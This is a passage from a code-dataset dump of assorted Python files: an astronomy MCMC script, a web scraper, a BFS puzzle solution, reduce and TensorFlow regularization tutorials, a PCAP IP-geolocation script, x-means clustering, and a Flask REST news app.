1)\nprint(np.shape(cchain))\nnp.save('combined_chain', cchain)\n", "repo_name": "seanandrews/discrete-SB", "sub_path": "dsb_contchains.py", "file_name": "dsb_contchains.py", "file_ext": "py", "file_size_in_byte": 1982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.arange", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 37, "usage_type": "call"}, {"api_name": "emcee.EnsembleSampler", "line_number": 43, "usage_type": "call"}, {"api_name": "lnprob.lnprob", "line_number": 43, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 48, "usage_type": "call"}, {"api_name": "time.time", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 53, "usage_type": "call"}, {"api_name": "astropy.io.ascii.read", "line_number": 56, "usage_type": "call"}, {"api_name": "astropy.io.ascii", "line_number": 56, "usage_type": "name"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "time.time", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "30637038815", "text": "import urllib2, json\nfrom bs4 import BeautifulSoup\n\nfrom api.text_processor import TextProcessor\nfrom process_names import process_judges_name, process_team_code, proccess_special_case\n\nURL = \"https://www.tabroom.com/index/tourn/fields.mhtml?tourn_id=2891\"\n\ntp = TextProcessor()\n\ndef is_number(s):\n  try:\n    float(s)\n    return True\n  except ValueError:\n    return False\n\ndef clean_data(data):\n  clean_data = []\n  for item in data:\n    if item:\n      string = \"\"\n      for char in item:\n        if char != \"\\n\" and char != \"\\t\":\n          string += char\n      if string and not is_number(string):\n        clean_data.append(string)\n  return clean_data\n\ndef remove_space(text):\n    new_text = \"\"\n    for char in text:\n        if char != '\\t':\n            new_text += char\n    newer_text = \"\"\n    for char in new_text:\n        if char == '\\n':\n            newer_text += \",\"\n        else:\n            newer_text += char\n    return newer_text.split(\",\")\n\ndef get_info_from_text(text):\n    code = []\n    name = []\n    index = 0  \n    for i in xrange(len(text)):\n        if ((i-3) % 4) == 0:\n            code.append(tp.team_code(text[i]))\n        elif ((i-2) % 4) == 0:\n            name.append(text[i])\n    return code, name\n\ndef get_team_list(url):\n    response = urllib2.urlopen(url)\n    html = BeautifulSoup(response.read())\n    data = html.find('tbody').getText().split(\"\\n\")\n    data = clean_data(data)\n    code, name = get_info_from_text(data)\n    return zip(code, name)\n\n# for a,b in get_team_list(URL):\n#   print a + \" | \" + b\n", "repo_name": "rnvarma/KritikalStats", "sub_path": "api/retrieve_team_list.py", "file_name": "retrieve_team_list.py", "file_ext": "py", "file_size_in_byte": 1529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "api.text_processor.TextProcessor", "line_number": 9, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 55, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "10349865883", "text": "# 7569 : 토마토\n# https://www.acmicpc.net/problem/7569\n\nimport sys\nfrom collections import deque\n\na, b, c = map(lambda x: int(x), sys.stdin.readline().rstrip().split(\" \"))\ngraph = []\nfor i in range(c):\n    temp = []\n    for j in range(b):\n        temp.append(list(map(lambda x: int(x), sys.stdin.readline().rstrip().split(\" \"))))\n    graph.append(temp)\n\nqueue = deque([])\nfor z in range(c):\n    for y in range(b):\n        for x in range(a):\n            if graph[z][y][x] == 1:\n                queue.append([z, y, x])\n\nvisited = [[[0 for i in range(a)] for j in range(b)] for k in range(c)]\nwhile queue:\n    qz, qy, qx = queue.popleft()\n\n    for _z in range(max(0, qz - 1), min(c, qz + 2)):\n        if graph[_z][qy][qx] == 0:\n            graph[_z][qy][qx] = 1\n            visited[_z][qy][qx] = visited[qz][qy][qx] + 1\n            queue.append([_z, qy, qx])\n    for _y in range(max(0, qy - 1), min(b, qy + 2)):\n        if graph[qz][_y][qx] == 0:\n            graph[qz][_y][qx] = 1\n            visited[qz][_y][qx] = visited[qz][qy][qx] + 1\n            queue.append([qz, _y, qx])\n    for _x in range(max(0, qx - 1), min(a, qx + 2)):\n        if graph[qz][qy][_x] == 0:\n            graph[qz][qy][_x] = 1\n            visited[qz][qy][_x] = visited[qz][qy][qx] + 1\n            queue.append([qz, qy, _x])\n\ndays = 0\nripen = True\nfor z in range(c):\n    for y in range(b):\n        for x in range(a):\n            if graph[z][y][x] == 0:\n                ripen = False\n            days = max(days, visited[z][y][x])\n\nif ripen:\n    print(days)\nelse:\n    print(-1)", "repo_name": "Ir2placeable/Area51", "sub_path": "python/Graph/gold_5/7569.py", "file_name": "7569.py", "file_ext": "py", "file_size_in_byte": 1548, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.stdin.readline", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 12, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "3265699759", "text": "# from python 3, Reducer is not a built-in function.\r\n# it has been moved to the functools module\r\n# according to the python creator, Guido van Rossum, \"Use functools.reduce() if you really need it; however 99% of the time the explicit for loop is more readable. \r\n\r\n# Reduce function\r\n# Data: [a1, a2, ...., an]\r\n# Function : f(x, y)\r\n# reduce(f, data)\r\n#   step1: val1=f(a1, a2)\r\n#   step2: val2=f(val1, a3)\r\n#   step3: val3=f(val2, a4)\r\n#   step...\r\n#   step n-1: val<n-1> = f(val<n-2>, an)\r\n#   return: val<n-1>\r\n\r\n#   Alternatively, it returns f(f(f(a1,a2), a3), a4),.......an)\r\n\r\n# Example: multiply all numbers in a list. \r\nfrom functools import reduce\r\n\r\ndata=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29]\r\n\r\n# use of reduce function. \r\nmultiplier = lambda x, y: x * y\r\nprint (reduce(multiplier, data))\r\n\r\n#direct use of for loop\r\nproduct = 1\r\nfor x in data: \r\n    product = product * x\r\n\r\nprint(product)\r\n\r\n# obviously the for loop is much easier to read. \r\n", "repo_name": "hsnyxfhyqhyh/python3", "sub_path": "pythonExcise/pythonExcise/basics/mapFilterReducer3.py", "file_name": "mapFilterReducer3.py", "file_ext": "py", "file_size_in_byte": 958, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "functools.reduce", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "14710275252", "text": "from tkinter import *\nfrom parsePcap import *\nfrom tkinter.filedialog import asksaveasfile\nimport geoip2\nimport simplekml\nimport re\n\n\ndef geoLoc(pcapFile):\n    global ip\n    ip = parsePcap(pcapFile)\n\n    files = [('KML Document', '*.kml')]\n    kmlName = asksaveasfile(filetypes = files, defaultextension = files)\n\n    for keys, value in ip.items():\n        try:\n            srcip = re.search(r'^\\d+\\.\\d+\\.\\d+\\.\\d+', keys)\n            dstip = re.search(r'\\s\\d+\\.\\d+\\.\\d+\\.\\d+', keys)\n        \n            reader = geoip2.database.Reader(r'*\\PCAP Analyzer Improved\\GeoLite2-City_20190129.mmdb')\n            type(reader)\n            rec = reader.city(f'{srcip.group()}')\n           \n\n            kml = simplekml.Kml()\n            pnt = kml.newpoint(name = f'{srcip.group()}', coords = [(rec.location.longitude, rec.location.latitude)])\n            \n            print(f'File {kmlName} has been saved')\n            kml.save(f'{kmlName}.kml')\n\n        except Exception as err:\n            print(f'{err}')\n\n   \n    ", "repo_name": "Scotasloth/PCAP-Analyzer-Improved", "sub_path": "geo.py", "file_name": "geo.py", "file_ext": "py", "file_size_in_byte": 1008, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tkinter.filedialog.asksaveasfile", "line_number": 14, "usage_type": "call"}, {"api_name": "re.search", "line_number": 18, "usage_type": "call"}, {"api_name": "re.search", "line_number": 19, "usage_type": "call"}, {"api_name": "geoip2.database.Reader", "line_number": 21, "usage_type": "call"}, {"api_name": "geoip2.database", "line_number": 21, "usage_type": "attribute"}, {"api_name": "simplekml.Kml", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "33526784699", "text": "#正则化可以缓解过度拟合，在loss总引入模型复杂度指标，给w加权值，弱化了数据的噪声，一般不正则化b\n#loss=loss(y与y_)+REGULARIZER*loss(w)\n#loss=模型中所有参数的损失函数，如交叉熵、均方误差 + REGULARIZER给出参数w在总loss中的比例，即正则化的权重 * loss(需要正则化的参数)\n\n#loss(w)有两种计算方法：loss(w)=tf.contrib.layers.l1_regularizer(REGULARIZER)(w)\n# loss(w)=tf.contrib.layers.l2_regularizer(REGULARIZER)(w)\n\n# tf.add_to_collection('losses',tf.contrib.layers.l2_regularizer(regularizer)(w))\n# loss=cem+tf.add_n(tf.get_collection('losses'))\n\n# 直观来说，X[:,0]就是取所有行的第0个数据, X[:,1] 就是取所有行的第1个数据。\n# X[0,:]是指第0行所有数据\n#coding:utf-8\n#0导入模块，生成模拟数据集\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nBATCH_SIZE=30\nseed=2\n#基于seed产生随机数\nrdm=np.random.RandomState(seed)\n#随机数返回300行2列的矩阵，表示300组坐标作为输入数据集\nX=rdm.randn(300,2)\n# print(X)\n#从X中取出一行，判断如果坐标平方和<2，给Y赋值1，否则为0，作为输入数据集的标签/正确答案\nY_=[int(x0*x0+x1*x1<2) for (x0,x1) in X]\n#遍历Y中每个元素，如果为1赋值red，否则blue\nY_c=[['red' if y else 'blue'] for y in Y_]\n#对X Y_进行shape处理，第一个元素为-1，随第二个参数计算得到，第二个元素表示多少列\nX=np.vstack(X).reshape(-1,2)\nY_=np.vstack(Y_).reshape(-1,1)\nprint(X)\nprint(Y_)\nprint(Y_c)\n\n\n#用plt.scatter画出数据集各行中第0列和第1列元素的点，即各行的(x0,x1)，用各行的Y_c对应值代表颜色\n# 直观来说，X[:,0]就是取所有行的第0个数据, X[:,1] 就是取所有行的第1个数据。\n# X[0,:]是指第0行所有数据\nplt.scatter(X[:,0],X[:,1],c=np.squeeze(Y_c))\n# print(np.squeeze(Y_c))np.squeeze(Y_c)去维度\nplt.show();\n\n#定义输入 参数 输出 前向传播过程\n#定义一个生成指定shape和正则化权重的w参数的函数\ndef get_weight(shape,regularizer):\n    w=tf.Variable(tf.random_normal(shape),dtype=tf.float32)\n    tf.add_to_collection('losses',tf.contrib.layers.l2_regularizer(regularizer)(w))#将内容加入集合\n    return w\n#定义一个生成b的函数\ndef get_bias(shape):\n    #初值为0.01\n    b=tf.Variable(tf.constant(0.01,shape=shape))\n    return b\nx=tf.placeholder(tf.float32,shape=(None,2))\ny_=tf.placeholder(tf.float32,shape=(None,1))\n\nw1=get_weight([2,11],0.01)\nb1=get_bias([11])\n# tf.nn.relu()激活函数，返回与参数same type的张量Tensor\n# tf.nn.relu()函数的目的是，将输入小于0的值幅值为0，输入大于0的值不变。\ny1=tf.nn.relu(tf.matmul(x,w1)+b1)\n\nw2=get_weight([11,1],0.01)\nb2=get_bias([1])\n#因为这一层是输出层，直接输出，输出层不过激活函数\ny=tf.matmul(y1,w2)+b2\n\n#定义损失函数\nloss_mse=tf.reduce_mean(tf.square(y_-y))\n# 均方误差的损失函数加上每一个正则化w的损失\nloss_total=loss_mse+tf.add_n(tf.get_collection('losses'))\n\n#A.定义反向传播方法：不含正则化：\ntrain_step=tf.train.GradientDescentOptimizer(0.0001).minimize(loss_mse)\n#会话运算\nwith tf.Session() as sess:\n    init_op=tf.global_variables_initializer()\n    sess.run(init_op)\n    STEPS=40000\n    for i in range(STEPS):\n        start=(i*BATCH_SIZE)%300\n        end=start+BATCH_SIZE\n        sess.run(train_step,feed_dict={x:X[start:end],y_:Y_[start:end]})\n        if i%2000==0:\n            loss_mse_v=sess.run(loss_mse,feed_dict={x:X,y_:Y_})\n            print(\"After %d training steps,loss is %g\" %(i,loss_mse_v))\n\n    #xx在-3到3之间，以步长0.01，yy在-3到3之间以步长0.01，生成二维网格坐标点\n    print('-------------------\\n')\n    xx,yy=np.mgrid[-3:3:.01,-3:3:.01]\n    # print(xx)\n    #将xx yy拉直，合并成一个2列的矩阵，得到一个网格坐标点的集合\n    # grid放的是36玩个点的坐标\n    grid=np.c_[xx.ravel(),yy.ravel()]#xx.ravel()函数是将多维数组转化为一维，np.c_[]将两个数组做融合\n    # print(grid)\n    #将网格点喂入神经网络，probs为输出\n    # probs就是求出来的y\n    probs=sess.run(y,feed_dict={x:grid})\n    print(probs.shape)#360000,1\n    # probs的shape调整成xx的样子\n    probs=probs.reshape(xx.shape)\n    print(probs)\n    print(probs.shape)\n    print(\"w1:\\n\",sess.run(w1))\n    print(\"b1:\\n\", sess.run(b1))\n    print(\"w2:\\n\", sess.run(w2))\n    print(\"b2:\\n\", sess.run(b2))\n    # 用plt.scatter画出数据集各行中第0列和第1列元素的点，\n    plt.scatter(X[:,0],X[:,1],c=np.squeeze(Y_c))\n    plt.contour(xx,yy,probs,levels=[.5])\n    plt.show()\n\n#B.定义反向传播方法：含正则化：\ntrain_step=tf.train.GradientDescentOptimizer(0.0001).minimize(loss_total)\n#会话运算\nwith tf.Session() as sess:\n    init_op=tf.global_variables_initializer()\n    sess.run(init_op)\n    STEPS=40000\n    for i in range(STEPS):\n        start=(i*BATCH_SIZE)%300\n        end=start+BATCH_SIZE\n        sess.run(train_step,feed_dict={x:X[start:end],y_:Y_[start:end]})\n        if i%2000==0:\n            loss_mse_v=sess.run(loss_mse,feed_dict={x:X,y_:Y_})\n            print(\"After %d training steps,loss is %g\" %(i,loss_mse_v))\n\n    #xx在-3到3之间，以步长0.01，yy在-3到3之间以步长0.01，生成二维网格坐标点\n    print('-------------------\\n')\n    xx,yy=np.mgrid[-3:3.01,-3:3.01]\n    # print(xx)\n    #将xx yy拉直，合并成一个2列的矩阵，得到一个网格坐标点的集合\n    grid=np.c_[xx.ravel(),yy.ravel()]#xx.ravel()函数是将多维数组转化为一维，np.c_[]将两个数组做融合\n    print(grid)\n    #将网格点喂入神经网络，probs为输出\n    probs=sess.run(y,feed_dict={x:grid})\n    # probs的shape调整成xx的样子\n    probs=probs.reshape(xx.shape)\n    print(\"w1:\\n\",sess.run(w1))\n    print(\"b1:\\n\", sess.run(b1))\n    print(\"w2:\\n\", sess.run(w2))\n    print(\"b2:\\n\", sess.run(b2))\n\n    plt.scatter(X[:,0],X[:,1],c=np.squeeze(Y_c))\n    plt.contour(xx,yy,probs,levels=[.5])\n    plt.show()\n\n", "repo_name": "jiangyan1224/Deep_Learning", "sub_path": "NN_Optimizer/ZhengZeHua.py", "file_name": "ZhengZeHua.py", "file_ext": "py", "file_size_in_byte": 6071, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.RandomState", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "tensorflow.Variable", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.random_normal", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.add_to_collection", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.contrib.layers.l2_regularizer", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 62, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.add_n", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.train.GradientDescentOptimizer", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.mgrid", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.c_", "line_number": 95, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "tensorflow.train.GradientDescentOptimizer", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.mgrid", "line_number": 131, "usage_type": "attribute"}, {"api_name": "numpy.c_", "line_number": 134, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}]}
{"seq_id": "38767133479", "text": "import sys\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn import datasets, metrics\nimport xmeans\nfrom xmeans import plot_clusters, plot_clusters_3d\nimport logging\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(10)\nsh = logging.StreamHandler()\nlogger.addHandler(sh)\nformatter = logging.Formatter('%(asctime)s:%(lineno)d:%(levelname)s:%(message)s')\nsh.setFormatter(formatter)\n\nif len(sys.argv) == 1:\n    usage = 'Usage: python {} DIM K N_SAMPLES NAME [IC] or IC' \\\n        .format(__file__)\n    print(usage)\n    exit()\nelif len(sys.argv) >= 4:\n    DIM = int(sys.argv[1])\n    K = int(sys.argv[2])\n    NUM = int(sys.argv[3])\n    name = str(sys.argv[4])\n    ic = str(sys.argv[5]) or \"BIC\"\n    X, TrueLabels = datasets.make_blobs(n_samples=NUM, centers=K, n_features=DIM)\nelse:\n    wine = np.loadtxt(\"../datasets/winequality-white.csv\", delimiter=\";\", skiprows=1)\n    X = wine[:,:-2]\n    TrueLabels = wine[:,-1]\n    print(TrueLabels)\n    # iris = datasets.load_iris()\n    # X = iris.data\n    # TrueLabels = iris.target\n    # name = 'iris'\n    ic = str(sys.argv[1])\n\n\nX = tf.Variable(X)\nTrueLabels = tf.Variable(TrueLabels)\n\nmodel = tf.global_variables_initializer()\n\nwith tf.Session() as session:\n    session.run(model)\n    X_values = session.run(X)\n    TrueLabels_values = session.run(TrueLabels)\n\n    xm = xmeans.XMeans(X_values, ic=ic)\n    xm.fit()\n    logger.debug(\"IC: {}\".format(xm.ic))\n    purity = metrics.adjusted_rand_score(TrueLabels_values, xm.labels)\n    nmi = metrics.normalized_mutual_info_score(TrueLabels_values, xm.labels)\n    ari = metrics.adjusted_rand_score(TrueLabels_values, xm.labels)\n\n    # print(\"Estimated k = \" + str(xm.k) + \", purity = \" + str(purity) + \", NMI = \" + str(nmi) + \", ARI = \" + str(ari) + \"\\n\")\n    print(str(xm.k) + \", \" + str(purity) + \", \" + str(nmi) + \", \" + str(ari))\n    # plot_clusters(X_values[:, :3], xm.labels[:, :3], xm.k, name=name)\n    plot_clusters_3d(X_values, xm.labels, xm.k, name=name)\n", "repo_name": "raryosu/graduation-research", "sub_path": "sources/x-means/clustering.py", "file_name": "clustering.py", "file_ext": "py", "file_size_in_byte": 1956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 24, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sklearn.datasets.make_blobs", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 45, "usage_type": "call"}, {"api_name": "xmeans.XMeans", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.metrics.adjusted_rand_score", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 53, "usage_type": "name"}, {"api_name": "sklearn.metrics.normalized_mutual_info_score", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 54, "usage_type": "name"}, {"api_name": "sklearn.metrics.adjusted_rand_score", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 55, "usage_type": "name"}, {"api_name": "xmeans.plot_clusters_3d", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "2353098383", "text": "from flask_restful import reqparse, Api, Resource\r\nfrom flask import Flask, jsonify, make_response, render_template\r\nfrom requests import delete\r\nfrom werkzeug.utils import redirect\r\nfrom DBManager import *\r\nfrom forms import *\r\n\r\n\r\napp = Flask(__name__)\r\napi = Api(app)\r\ndb = DB()\r\napp.config['SECRET_KEY'] = 'yandexlyceum_secret_key'\r\napp.config['PROPAGATE_EXCEPTIONS'] = True\r\n\r\nparser = reqparse.RequestParser()\r\nparser.add_argument('title', required=True)\r\nparser.add_argument('content', required=True)\r\nparser.add_argument('user_id', required=True, type=int)\r\n\r\nparser_put = reqparse.RequestParser()\r\nparser_put.add_argument('part', required=True)\r\nparser_put.add_argument('text', required=True)\r\n\r\nparser_new_user = reqparse.RequestParser()\r\nparser_new_user.add_argument('login', required=True)\r\nparser_new_user.add_argument('password', required=True)\r\n\r\n\r\nclass Error404(Exception):\r\n    pass\r\n\r\n\r\n@app.errorhandler(404)\r\ndef not_found(error):\r\n    return make_response(render_template(\"error404.html\"), 404)\r\n\r\n\r\n@app.errorhandler(Error404)\r\ndef not_found(error):\r\n    return make_response(render_template(\"error404.html\"), 404)\r\n\r\n\r\ndef abort_if_news_not_found(news_id, data_base):\r\n    if not data_base.get(news_id):\r\n        raise Error404\r\n\r\n\r\n@app.route('/delete_news/<int:news_id>')\r\ndef delete_news(news_id):\r\n    delete('http://localhost:8080/news/{}'.format(news_id))\r\n    return redirect(\"/news\")\r\n\r\n\r\nclass News(Resource):\r\n    def get(self, news_id):\r\n        news = NewsModel(db.get_connection())\r\n        abort_if_news_not_found(news_id, news)\r\n        return make_response(render_template(\"preview_news.html\", news=news.get(news_id)))\r\n\r\n    def delete(self, news_id):\r\n        news = NewsModel(db.get_connection())\r\n        abort_if_news_not_found(news_id, news)\r\n        news.delete(news_id)\r\n        return jsonify({'success': 'OK'})\r\n    \r\n    def put(self, news_id):\r\n        news = NewsModel(db.get_connection())\r\n        if not news:\r\n            not_found(404)\r\n        else:\r\n            args = parser_put.parse_args()\r\n            news.update(news_id, args['part'], args['text'])\r\n            return jsonify({'success': 'OK'})\r\n\r\n\r\nclass NewsList(Resource):\r\n    def get(self):\r\n        global news\r\n        news = NewsModel(db.get_connection()).get_all()\r\n        form = AddNewsForm()\r\n        return make_response(render_template(\"base.html\", data=news, form=form, add=True))\r\n\r\n    def post(self):\r\n        #  args = parser.parse_args()\r\n        form = AddNewsForm()\r\n\r\n        if form.validate_on_submit():\r\n            NewsModel(db.get_connection()).insert(form.title.data, form.text.data, 1)\r\n            return redirect(\"/news\")\r\n\r\n        return make_response(render_template(\"13.html\", data=news, form=form, add=True))\r\n\r\n\r\nclass User(Resource):\r\n    def get(self, user_id):\r\n        user = UserModel(db.get_connection())\r\n        abort_if_news_not_found(user_id, user)\r\n        return jsonify({'users': user.get(user_id)})\r\n\r\n    def delete(self, user_id):\r\n        user = UserModel(db.get_connection())\r\n        abort_if_news_not_found(user_id, user)\r\n        user.delete(user_id)\r\n        return jsonify({'success': 'OK'})\r\n    \r\n    def put(self, user_id):\r\n        user = UserModel(db.get_connection())\r\n        abort_if_news_not_found(user_id, user)\r\n        args = parser_put.parse_args()\r\n        user.update(user_id, args['part'], args['text'])\r\n        return jsonify({'success': 'OK'})\r\n\r\n\r\nclass UserList(Resource):\r\n    def get(self):\r\n        user = UserModel(db.get_connection()).get_all()\r\n        return make_response(render_template(\"base.html\", data=user, add=False))\r\n\r\n    def post(self):\r\n        args = parser_new_user.parse_args()\r\n        UserModel(db.get_connection()).insert(args['login'], args['password'])\r\n        return jsonify({'success': 'OK'})\r\n\r\n\r\nif __name__ == '__main__':\r\n    api.add_resource(NewsList, '/', '/news')\r\n    api.add_resource(News, '/news/<int:news_id>')\r\n    api.add_resource(UserList, '/users')\r\n    api.add_resource(User, '/users/<int:user_id>')\r\n    app.register_error_handler(404, not_found)\r\n    app.run(port=8080, host='127.0.0.1')\r\n", "repo_name": "noone1234567/rest", "sub_path": "шаблон-2.py", "file_name": "шаблон-2.py", "file_ext": "py", "file_size_in_byte": 4135, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_restful.Api", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 15, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 15, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 20, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 20, "usage_type": "name"}, {"api_name": "flask_restful.reqparse.RequestParser", "line_number": 24, "usage_type": "call"}, {"api_name": "flask_restful.reqparse", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 50, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 51, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 73, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 81, "usage_type": "call"}, {"api_name": "werkzeug.utils.redirect", "line_number": 89, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 91, "usage_type": "call"}, {"api_name": 